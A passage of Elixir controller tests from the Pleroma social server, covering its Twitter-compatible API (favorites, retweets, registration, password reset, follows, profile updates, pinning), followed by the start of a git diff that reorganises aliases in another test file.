	\|> json_response(200)

	assert [] = response
	end
	end

	describe "POST /api/favorites/create/:id" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	note_activity = insert(:note_activity)
	conn = post(conn, "/api/favorites/create/#{note_activity.id}.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	note_activity = insert(:note_activity)

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/favorites/create/#{note_activity.id}.json")

	assert json_response(conn, 200)
	end

	test "with credentials, invalid param", %{conn: conn, user: current_user} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/favorites/create/wrong.json")

	assert json_response(conn, 400)
	end

	test "with credentials, invalid activity", %{conn: conn, user: current_user} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/favorites/create/1.json")

	assert json_response(conn, 400)
	end
	end

	describe "POST /api/favorites/destroy/:id" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	note_activity = insert(:note_activity)
	conn = post(conn, "/api/favorites/destroy/#{note_activity.id}.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	ActivityPub.like(current_user, object)

	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/favorites/destroy/#{note_activity.id}.json")

	assert json_response(conn, 200)
	end
	end

	describe "POST /api/statuses/retweet/:id" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	note_activity = insert(:note_activity)
	conn = post(conn, "/api/statuses/retweet/#{note_activity.id}.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	note_activity = insert(:note_activity)

	request_path = "/api/statuses/retweet/#{note_activity.id}.json"

	response =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post(request_path)

	activity = Repo.get(Activity, note_activity.id)
	activity_user = Repo.get_by(User, ap_id: note_activity.data["actor"])

	assert json_response(response, 200) ==
	ActivityRepresenter.to_map(activity, %{user: activity_user, for: current_user})
	end
	end

	describe "POST /api/statuses/unretweet/:id" do
	setup [:valid_user]

	test "without valid credentials", %{conn: conn} do
	note_activity = insert(:note_activity)
	conn = post(conn, "/api/statuses/unretweet/#{note_activity.id}.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: current_user} do
	note_activity = insert(:note_activity)

	request_path = "/api/statuses/retweet/#{note_activity.id}.json"

	_response =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post(request_path)

	request_path = String.replace(request_path, "retweet", "unretweet")

	response =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post(request_path)

	activity = Repo.get(Activity, note_activity.id)
	activity_user = Repo.get_by(User, ap_id: note_activity.data["actor"])

	assert json_response(response, 200) ==
	ActivityRepresenter.to_map(activity, %{user: activity_user, for: current_user})
	end
	end

	describe "POST /api/account/register" do
	test "it creates a new user", %{conn: conn} do
	data = %{
	"nickname" => "lain",
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "close the world.",
	"password" => "bear",
	"confirm" => "bear"
	}

	conn =
	conn
	\|> post("/api/account/register", data)

	user = json_response(conn, 200)

	fetched_user = Repo.get_by(User, nickname: "lain")
	assert user == UserView.render("show.json", %{user: fetched_user})
	end

	test "it returns errors on a problem", %{conn: conn} do
	data = %{
	"email" => "lain@wired.jp",
	"fullname" => "lain iwakura",
	"bio" => "close the world.",
	"password" => "bear",
	"confirm" => "bear"
	}

	conn =
	conn
	\|> post("/api/account/register", data)

	errors = json_response(conn, 400)

	assert is_binary(errors["error"])
	end
	end

	describe "POST /api/account/password_reset, with valid parameters" do
	setup %{conn: conn} do
	user = insert(:user)
	conn = post(conn, "/api/account/password_reset?email=#{user.email}")
	%{conn: conn, user: user}
	end

	test "it returns 204", %{conn: conn} do
	assert json_response(conn, :no_content)
	end

	test "it creates a PasswordResetToken record for user", %{user: user} do
	token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
	assert token_record
	end

	test "it sends an email to user", %{user: user} do
	token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)

	Swoosh.TestAssertions.assert_email_sent(
	Pleroma.UserEmail.password_reset_email(user, token_record.token)
	)
	end
	end

	describe "POST /api/account/password_reset, with invalid parameters" do
	setup [:valid_user]

	test "it returns 500 when user is not found", %{conn: conn, user: user} do
	conn = post(conn, "/api/account/password_reset?email=nonexisting_#{user.email}")
	assert json_response(conn, :internal_server_error)
	end

	test "it returns 500 when user is not local", %{conn: conn, user: user} do
	{:ok, user} = Repo.update(Changeset.change(user, local: false))
	conn = post(conn, "/api/account/password_reset?email=#{user.email}")
	assert json_response(conn, :internal_server_error)
	end
	end

	describe "GET /api/account/confirm_email/:id/:token" do
	setup do
	user = insert(:user)
	info_change = User.Info.confirmation_changeset(user.info, :unconfirmed)

	{:ok, user} =
	user
	\|> Changeset.change()
	\|> Changeset.put_embed(:info, info_change)
	\|> Repo.update()

	assert user.info.confirmation_pending

	[user: user]
	end

	test "it redirects to root url", %{conn: conn, user: user} do
	conn = get(conn, "/api/account/confirm_email/#{user.id}/#{user.info.confirmation_token}")

	assert 302 == conn.status
	end

	test "it confirms the user account", %{conn: conn, user: user} do
	get(conn, "/api/account/confirm_email/#{user.id}/#{user.info.confirmation_token}")

	user = Repo.get(User, user.id)

	refute user.info.confirmation_pending
	refute user.info.confirmation_token
	end

	test "it returns 500 if user cannot be found by id", %{conn: conn, user: user} do
	conn = get(conn, "/api/account/confirm_email/0/#{user.info.confirmation_token}")

	assert 500 == conn.status
	end

	test "it returns 500 if token is invalid", %{conn: conn, user: user} do
	conn = get(conn, "/api/account/confirm_email/#{user.id}/wrong_token")

	assert 500 == conn.status
	end
	end

	describe "POST /api/account/resend_confirmation_email" do
	setup do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	user = insert(:user)
	info_change = User.Info.confirmation_changeset(user.info, :unconfirmed)

	{:ok, user} =
	user
	\|> Changeset.change()
	\|> Changeset.put_embed(:info, info_change)
	\|> Repo.update()

	assert user.info.confirmation_pending

	[user: user]
	end

	test "it returns 204 No Content", %{conn: conn, user: user} do
	conn
	\|> assign(:user, user)
	\|> post("/api/account/resend_confirmation_email?email=#{user.email}")
	\|> json_response(:no_content)
	end

	test "it sends confirmation email", %{conn: conn, user: user} do
	conn
	\|> assign(:user, user)
	\|> post("/api/account/resend_confirmation_email?email=#{user.email}")

	Swoosh.TestAssertions.assert_email_sent(Pleroma.UserEmail.account_confirmation_email(user))
	end
	end

	describe "GET /api/externalprofile/show" do
	test "it returns the user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/externalprofile/show", %{profileurl: other_user.ap_id})

	assert json_response(conn, 200) == UserView.render("show.json", %{user: other_user})
	end
	end

	describe "GET /api/statuses/followers" do
	test "it returns a user's followers", %{conn: conn} do
	user = insert(:user)
	follower_one = insert(:user)
	follower_two = insert(:user)
	_not_follower = insert(:user)

	{:ok, follower_one} = User.follow(follower_one, user)
	{:ok, follower_two} = User.follow(follower_two, user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/followers")

	expected = UserView.render("index.json", %{users: [follower_one, follower_two], for: user})
	result = json_response(conn, 200)
	assert Enum.sort(expected) == Enum.sort(result)
	end

	test "it returns 20 followers per page", %{conn: conn} do
	user = insert(:user)
	followers = insert_list(21, :user)

	Enum.each(followers, fn follower ->
	User.follow(follower, user)
	end)

	res_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/followers")

	result = json_response(res_conn, 200)
	assert length(result) == 20

	res_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/followers?page=2")

	result = json_response(res_conn, 200)
	assert length(result) == 1
	end

	test "it returns a given user's followers with user_id", %{conn: conn} do
	user = insert(:user)
	follower_one = insert(:user)
	follower_two = insert(:user)
	not_follower = insert(:user)

	{:ok, follower_one} = User.follow(follower_one, user)
	{:ok, follower_two} = User.follow(follower_two, user)

	conn =
	conn
	\|> assign(:user, not_follower)
	\|> get("/api/statuses/followers", %{"user_id" => user.id})

	assert MapSet.equal?(
	MapSet.new(json_response(conn, 200)),
	MapSet.new(
	UserView.render("index.json", %{
	users: [follower_one, follower_two],
	for: not_follower
	})
	)
	)
	end

	test "it returns empty when hide_followers is set to true", %{conn: conn} do
	user = insert(:user, %{info: %{hide_followers: true}})
	follower_one = insert(:user)
	follower_two = insert(:user)
	not_follower = insert(:user)

	{:ok, _follower_one} = User.follow(follower_one, user)
	{:ok, _follower_two} = User.follow(follower_two, user)

	response =
	conn
	\|> assign(:user, not_follower)
	\|> get("/api/statuses/followers", %{"user_id" => user.id})
	\|> json_response(200)

	assert [] == response
	end

	test "it returns the followers when hide_followers is set to true if requested by the user themselves",
	%{
	conn: conn
	} do
	user = insert(:user, %{info: %{hide_followers: true}})
	follower_one = insert(:user)
	follower_two = insert(:user)
	_not_follower = insert(:user)

	{:ok, _follower_one} = User.follow(follower_one, user)
	{:ok, _follower_two} = User.follow(follower_two, user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/followers", %{"user_id" => user.id})

	refute [] == json_response(conn, 200)
	end
	end

	describe "GET /api/statuses/blocks" do
	test "it returns the list of users blocked by requester", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, user} = User.block(user, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/blocks")

	expected = UserView.render("index.json", %{users: [other_user], for: user})
	result = json_response(conn, 200)
	assert Enum.sort(expected) == Enum.sort(result)
	end
	end

	describe "GET /api/statuses/friends" do
	test "it returns the logged in user's friends", %{conn: conn} do
	user = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	_not_followed = insert(:user)

	{:ok, user} = User.follow(user, followed_one)
	{:ok, user} = User.follow(user, followed_two)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/friends")

	expected = UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
	result = json_response(conn, 200)
	assert Enum.sort(expected) == Enum.sort(result)
	end

	test "it returns 20 friends per page", %{conn: conn} do
	user = insert(:user)
	followeds = insert_list(21, :user)

	{:ok, user} =
	Enum.reduce(followeds, {:ok, user}, fn followed, {:ok, user} ->
	User.follow(user, followed)
	end)

	res_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/friends")

	result = json_response(res_conn, 200)
	assert length(result) == 20

	res_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/friends", %{page: 2})

	result = json_response(res_conn, 200)
	assert length(result) == 1
	end

	test "it returns a given user's friends with user_id", %{conn: conn} do
	user = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	_not_followed = insert(:user)

	{:ok, user} = User.follow(user, followed_one)
	{:ok, user} = User.follow(user, followed_two)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/friends", %{"user_id" => user.id})

	assert MapSet.equal?(
	MapSet.new(json_response(conn, 200)),
	MapSet.new(
	UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
	)
	)
	end

	test "it returns empty when hide_follows is set to true", %{conn: conn} do
	user = insert(:user, %{info: %{hide_follows: true}})
	followed_one = insert(:user)
	followed_two = insert(:user)
	not_followed = insert(:user)

	{:ok, user} = User.follow(user, followed_one)
	{:ok, user} = User.follow(user, followed_two)

	conn =
	conn
	\|> assign(:user, not_followed)
	\|> get("/api/statuses/friends", %{"user_id" => user.id})

	assert [] == json_response(conn, 200)
	end

	test "it returns friends when hide_follows is set to true if the user themselves request it",
	%{
	conn: conn
	} do
	user = insert(:user, %{info: %{hide_follows: true}})
	followed_one = insert(:user)
	followed_two = insert(:user)
	_not_followed = insert(:user)

	{:ok, _user} = User.follow(user, followed_one)
	{:ok, _user} = User.follow(user, followed_two)

	response =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/friends", %{"user_id" => user.id})
	\|> json_response(200)

	refute [] == response
	end

	test "it returns a given user's friends with screen_name", %{conn: conn} do
	user = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	_not_followed = insert(:user)

	{:ok, user} = User.follow(user, followed_one)
	{:ok, user} = User.follow(user, followed_two)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/statuses/friends", %{"screen_name" => user.nickname})

	assert MapSet.equal?(
	MapSet.new(json_response(conn, 200)),
	MapSet.new(
	UserView.render("index.json", %{users: [followed_one, followed_two], for: user})
	)
	)
	end
	end

	describe "GET /friends/ids" do
	test "it returns a user's friends", %{conn: conn} do
	user = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	_not_followed = insert(:user)

	{:ok, user} = User.follow(user, followed_one)
	{:ok, user} = User.follow(user, followed_two)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/friends/ids")

	expected = [followed_one.id, followed_two.id]

	assert MapSet.equal?(
	MapSet.new(Poison.decode!(json_response(conn, 200))),
	MapSet.new(expected)
	)
	end
	end

	describe "POST /api/account/update_profile.json" do
	test "it updates a user's profile", %{conn: conn} do
	user = insert(:user)
	user2 = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"name" => "new name",
	"description" => "hi @#{user2.nickname}"
	})

	user = Repo.get!(User, user.id)
	assert user.name == "new name"

	assert user.bio ==
	"hi <span class='h-card'><a data-user='#{user2.id}' class='u-url mention' href='#{
	user2.ap_id
	}'>@<span>#{user2.nickname}</span></a></span>"

	assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
	end

	test "it sets and un-sets hide_follows", %{conn: conn} do
	user = insert(:user)

	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"hide_follows" => "true"
	})

	user = Repo.get!(User, user.id)
	assert user.info.hide_follows == true

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"hide_follows" => "false"
	})

	user = Repo.get!(User, user.id)
	assert user.info.hide_follows == false
	assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
	end

	test "it sets and un-sets hide_followers", %{conn: conn} do
	user = insert(:user)

	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"hide_followers" => "true"
	})

	user = Repo.get!(User, user.id)
	assert user.info.hide_followers == true

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"hide_followers" => "false"
	})

	user = Repo.get!(User, user.id)
	assert user.info.hide_followers == false
	assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
	end

	test "it sets and un-sets show_role", %{conn: conn} do
	user = insert(:user)

	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"show_role" => "true"
	})

	user = Repo.get!(User, user.id)
	assert user.info.show_role == true

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"show_role" => "false"
	})

	user = Repo.get!(User, user.id)
	assert user.info.show_role == false
	assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
	end

	test "it locks an account", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"locked" => "true"
	})

	user = Repo.get!(User, user.id)
	assert user.info.locked == true

	assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
	end

	test "it unlocks an account", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"locked" => "false"
	})

	user = Repo.get!(User, user.id)
	assert user.info.locked == false

	assert json_response(conn, 200) == UserView.render("user.json", %{user: user, for: user})
	end
	end

	defp valid_user(_context) do
	user = insert(:user)
	[user: user]
	end

	defp with_credentials(conn, username, password) do
	header_content = "Basic " <> Base.encode64("#{username}:#{password}")
	put_req_header(conn, "authorization", header_content)
	end

	describe "GET /api/search.json" do
	test "it returns search results", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user, %{nickname: "shp@shitposter.club"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "This is about 2hu"})
	{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})

	conn =
	conn
	\|> get("/api/search.json", %{"q" => "2hu", "page" => "1", "rpp" => "1"})

	assert [status] = json_response(conn, 200)
	assert status["id"] == activity.id
	end
	end

	describe "GET /api/statusnet/tags/timeline/:tag.json" do
	test "it returns the tags timeline", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user, %{nickname: "shp@shitposter.club"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "This is about #2hu"})
	{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})

	conn =
	conn
	\|> get("/api/statusnet/tags/timeline/2hu.json")

	assert [status] = json_response(conn, 200)
	assert status["id"] == activity.id
	end
	end

	test "Convert newlines to <br> in bio", %{conn: conn} do
	user = insert(:user)

	_conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/account/update_profile.json", %{
	"description" => "Hello,\r\nWorld! I\n am a test."
	})

	user = Repo.get!(User, user.id)
	assert user.bio == "Hello,<br>World! I<br> am a test."
	end

	describe "POST /api/pleroma/change_password" do
	setup [:valid_user]

	test "without credentials", %{conn: conn} do
	conn = post(conn, "/api/pleroma/change_password")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials and invalid password", %{conn: conn, user: current_user} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/pleroma/change_password", %{
	"password" => "hi",
	"new_password" => "newpass",
	"new_password_confirmation" => "newpass"
	})

	assert json_response(conn, 200) == %{"error" => "Invalid password."}
	end

	test "with credentials, valid password and new password and confirmation not matching", %{
	conn: conn,
	user: current_user
	} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/pleroma/change_password", %{
	"password" => "test",
	"new_password" => "newpass",
	"new_password_confirmation" => "notnewpass"
	})

	assert json_response(conn, 200) == %{
	"error" => "New password does not match confirmation."
	}
	end

	test "with credentials, valid password and invalid new password", %{
	conn: conn,
	user: current_user
	} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/pleroma/change_password", %{
	"password" => "test",
	"new_password" => "",
	"new_password_confirmation" => ""
	})

	assert json_response(conn, 200) == %{
	"error" => "New password can't be blank."
	}
	end

	test "with credentials, valid password and matching new password and confirmation", %{
	conn: conn,
	user: current_user
	} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/pleroma/change_password", %{
	"password" => "test",
	"new_password" => "newpass",
	"new_password_confirmation" => "newpass"
	})

	assert json_response(conn, 200) == %{"status" => "success"}
	fetched_user = Repo.get(User, current_user.id)
	assert Pbkdf2.checkpw("newpass", fetched_user.password_hash) == true
	end
	end

	describe "POST /api/pleroma/delete_account" do
	setup [:valid_user]

	test "without credentials", %{conn: conn} do
	conn = post(conn, "/api/pleroma/delete_account")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials and invalid password", %{conn: conn, user: current_user} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/pleroma/delete_account", %{"password" => "hi"})

	assert json_response(conn, 200) == %{"error" => "Invalid password."}
	end

	test "with credentials and valid password", %{conn: conn, user: current_user} do
	conn =
	conn
	\|> with_credentials(current_user.nickname, "test")
	\|> post("/api/pleroma/delete_account", %{"password" => "test"})

	assert json_response(conn, 200) == %{"status" => "success"}
	# Wait a second for the started task to end
	:timer.sleep(1000)
	end
	end

	describe "GET /api/pleroma/friend_requests" do
	test "it lists friend requests" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	user = Repo.get(User, user.id)
	other_user = Repo.get(User, other_user.id)

	assert User.following?(other_user, user) == false

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/pleroma/friend_requests")

	assert [relationship] = json_response(conn, 200)
	assert other_user.id == relationship["id"]
	end
	end

	describe "POST /api/pleroma/friendships/approve" do
	test "it approves a friend request" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	user = Repo.get(User, user.id)
	other_user = Repo.get(User, other_user.id)

	assert User.following?(other_user, user) == false

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/pleroma/friendships/approve", %{"user_id" => other_user.id})

	assert relationship = json_response(conn, 200)
	assert other_user.id == relationship["id"]
	assert relationship["follows_you"] == true
	end
	end

	describe "POST /api/pleroma/friendships/deny" do
	test "it denies a friend request" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	user = Repo.get(User, user.id)
	other_user = Repo.get(User, other_user.id)

	assert User.following?(other_user, user) == false

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/pleroma/friendships/deny", %{"user_id" => other_user.id})

	assert relationship = json_response(conn, 200)
	assert other_user.id == relationship["id"]
	assert relationship["follows_you"] == false
	end
	end

	describe "GET /api/pleroma/search_user" do
	test "it returns users, ordered by similarity", %{conn: conn} do
	user = insert(:user, %{name: "eal"})
	user_two = insert(:user, %{name: "eal me"})
	_user_three = insert(:user, %{name: "zzz"})

	resp =
	conn
	\|> get(twitter_api_search__path(conn, :search_user), query: "eal me")
	\|> json_response(200)

	assert length(resp) == 2
	assert [user_two.id, user.id] == Enum.map(resp, fn %{"id" => id} -> id end)
	end
	end

	describe "POST /api/media/upload" do
	setup context do
	Pleroma.DataCase.ensure_local_uploader(context)
	end

	test "it performs the upload and sets `data[actor]` with AP id of uploader user", %{
	conn: conn
	} do
	user = insert(:user)

	upload_filename = "test/fixtures/image_tmp.jpg"
	File.cp!("test/fixtures/image.jpg", upload_filename)

	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname(upload_filename),
	filename: "image.jpg"
	}

	response =
	conn
	\|> assign(:user, user)
	\|> put_req_header("content-type", "application/octet-stream")
	\|> post("/api/media/upload", %{
	"media" => file
	})
	\|> json_response(:ok)

	assert response["media_id"]
	object = Repo.get(Object, response["media_id"])
	assert object
	assert object.data["actor"] == User.ap_id(user)
	end
	end

	describe "POST /api/media/metadata/create" do
	setup do
	object = insert(:note)
	user = User.get_by_ap_id(object.data["actor"])
	%{object: object, user: user}
	end

	test "it returns :forbidden status on attempt to modify someone else's upload", %{
	conn: conn,
	object: object
	} do
	initial_description = object.data["name"]
	another_user = insert(:user)

	conn
	\|> assign(:user, another_user)
	\|> post("/api/media/metadata/create", %{"media_id" => object.id})
	\|> json_response(:forbidden)

	object = Repo.get(Object, object.id)
	assert object.data["name"] == initial_description
	end

	test "it updates `data[name]` of referenced Object with provided value", %{
	conn: conn,
	object: object,
	user: user
	} do
	description = "Informative description of the image. Initial value: #{object.data["name"]}}"

	conn
	\|> assign(:user, user)
	\|> post("/api/media/metadata/create", %{
	"media_id" => object.id,
	"alt_text" => %{"text" => description}
	})
	\|> json_response(:no_content)

	object = Repo.get(Object, object.id)
	assert object.data["name"] == description
	end
	end

	describe "POST /api/statuses/user_timeline.json?user_id=:user_id&pinned=true" do
	test "it returns a list of pinned statuses", %{conn: conn} do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 1)

	user = insert(:user, %{name: "egor"})
	{:ok, %{id: activity_id}} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, _} = CommonAPI.pin(activity_id, user)

	resp =
	conn
	\|> get("/api/statuses/user_timeline.json", %{user_id: user.id, pinned: true})
	\|> json_response(200)

	assert length(resp) == 1
	assert [%{"id" => ^activity_id, "pinned" => true}] = resp
	end
	end

	describe "POST /api/statuses/pin/:id" do
	setup do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 1)
	[user: insert(:user)]
	end

	test "without valid credentials", %{conn: conn} do
	note_activity = insert(:note_activity)
	conn = post(conn, "/api/statuses/pin/#{note_activity.id}.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: user} do
	{:ok, activity} = CommonAPI.post(user, %{"status" => "test!"})

	request_path = "/api/statuses/pin/#{activity.id}.json"

	response =
	conn
	\|> with_credentials(user.nickname, "test")
	\|> post(request_path)

	user = refresh_record(user)

	assert json_response(response, 200) ==
	ActivityRepresenter.to_map(activity, %{user: user, for: user})
	end
	end

	describe "POST /api/statuses/unpin/:id" do
	setup do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 1)
	[user: insert(:user)]
	end

	test "without valid credentials", %{conn: conn} do
	note_activity = insert(:note_activity)
	conn = post(conn, "/api/statuses/unpin/#{note_activity.id}.json")
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials", %{conn: conn, user: user} do
	{:ok, activity} = CommonAPI.post(user, %{"status" => "test!"})
	{:ok, activity} = CommonAPI.pin(activity.id, user)

	request_path = "/api/statuses/unpin/#{activity.id}.json"

	response =
	conn
	\|> with_credentials(user.nickname, "test")
	\|> post(request_path)

	user = refresh_record(user)

	assert json_response(response, 200) ==
	ActivityRepresenter.to_map(activity, %{user: user, for: user})
	end
	end
	end
	diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs
	index 48ddbcf50..aa2a4d650 100644
	--- a/test/web/twitter_api/twitter_api_test.exs
	+++ b/test/web/twitter_api/twitter_api_test.exs
	@@ -1,472 +1,477 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
	use Pleroma.DataCase
	- alias Pleroma.Web.TwitterAPI.{TwitterAPI, UserView}
	- alias Pleroma.{Activity, User, Object, Repo, UserInviteToken}
	+ alias Pleroma.Web.TwitterAPI.TwitterAPI
	+ alias Pleroma.Web.TwitterAPI.UserView
	+ alias Pleroma.Activity
	+ alias Pleroma.User
	+ alias Pleroma.Object
	+ alias Pleroma.Repo
	+ alias Pleroma.UserInviteToken
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.TwitterAPI.ActivityView

	import Pleroma.Factory

	test "create a status" do
	user = insert(:user)
	mentioned_user = insert(:user, %{nickname: "shp", ap_id: "shp"})

	object_data = %{
	"type" => "Image",
	"url" => [
	%{
	"type" => "Link",
	"mediaType" => "image/jpg",
	"href" => "http://example.org/image.jpg"
	}
	],
	"uuid" => 1
	}

	object = Repo.insert!(%Object{data: object_data})

	input = %{
	"status" =>
	"Hello again, @shp.<script></script>\nThis is on another :moominmamma: line. #2hu #epic #phantasmagoric",
	"media_ids" => [object.id]
	}

	{:ok, activity = %Activity{}} = TwitterAPI.create_status(user, input)

	expected_text =
	"Hello again, <span class='h-card'><a data-user='#{mentioned_user.id}' class='u-url mention' href='shp'>@<span>shp</span></a></span>.<script></script><br>This is on another :moominmamma: line. <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a> <a class='hashtag' data-tag='epic' href='http://localhost:4001/tag/epic' rel='tag'>#epic</a> <a class='hashtag' data-tag='phantasmagoric' href='http://localhost:4001/tag/phantasmagoric' rel='tag'>#phantasmagoric</a><br><a href=\"http://example.org/image.jpg\" class='attachment'>image.jpg</a>"

	assert get_in(activity.data, ["object", "content"]) == expected_text
	assert get_in(activity.data, ["object", "type"]) == "Note"
	assert get_in(activity.data, ["object", "actor"]) == user.ap_id
	assert get_in(activity.data, ["actor"]) == user.ap_id
	assert Enum.member?(get_in(activity.data, ["cc"]), User.ap_followers(user))

	assert Enum.member?(
	get_in(activity.data, ["to"]),
	"https://www.w3.org/ns/activitystreams#Public"
	)

	assert Enum.member?(get_in(activity.data, ["to"]), "shp")
	assert activity.local == true

	assert %{"moominmamma" => "http://localhost:4001/finmoji/128px/moominmamma-128.png"} =
	activity.data["object"]["emoji"]

	# hashtags
	assert activity.data["object"]["tag"] == ["2hu", "epic", "phantasmagoric"]

	# Add a context
	assert is_binary(get_in(activity.data, ["context"]))
	assert is_binary(get_in(activity.data, ["object", "context"]))

	assert is_list(activity.data["object"]["attachment"])

	assert activity.data["object"] == Object.get_by_ap_id(activity.data["object"]["id"]).data

	user = User.get_by_ap_id(user.ap_id)

	assert user.info.note_count == 1
	end

	test "create a status that is a reply" do
	user = insert(:user)

	input = %{
	"status" => "Hello again."
	}

	{:ok, activity = %Activity{}} = TwitterAPI.create_status(user, input)

	input = %{
	"status" => "Here's your (you).",
	"in_reply_to_status_id" => activity.id
	}

	{:ok, reply = %Activity{}} = TwitterAPI.create_status(user, input)

	assert get_in(reply.data, ["context"]) == get_in(activity.data, ["context"])

	assert get_in(reply.data, ["object", "context"]) ==
	get_in(activity.data, ["object", "context"])

	assert get_in(reply.data, ["object", "inReplyTo"]) == get_in(activity.data, ["object", "id"])
	assert get_in(reply.data, ["object", "inReplyToStatusId"]) == activity.id
	end

	test "Follow another user using user_id" do
	user = insert(:user)
	followed = insert(:user)

	{:ok, user, followed, _activity} = TwitterAPI.follow(user, %{"user_id" => followed.id})
	assert User.ap_followers(followed) in user.following

	{:error, msg} = TwitterAPI.follow(user, %{"user_id" => followed.id})
	assert msg == "Could not follow user: #{followed.nickname} is already on your list."
	end

	test "Follow another user using screen_name" do
	user = insert(:user)
	followed = insert(:user)

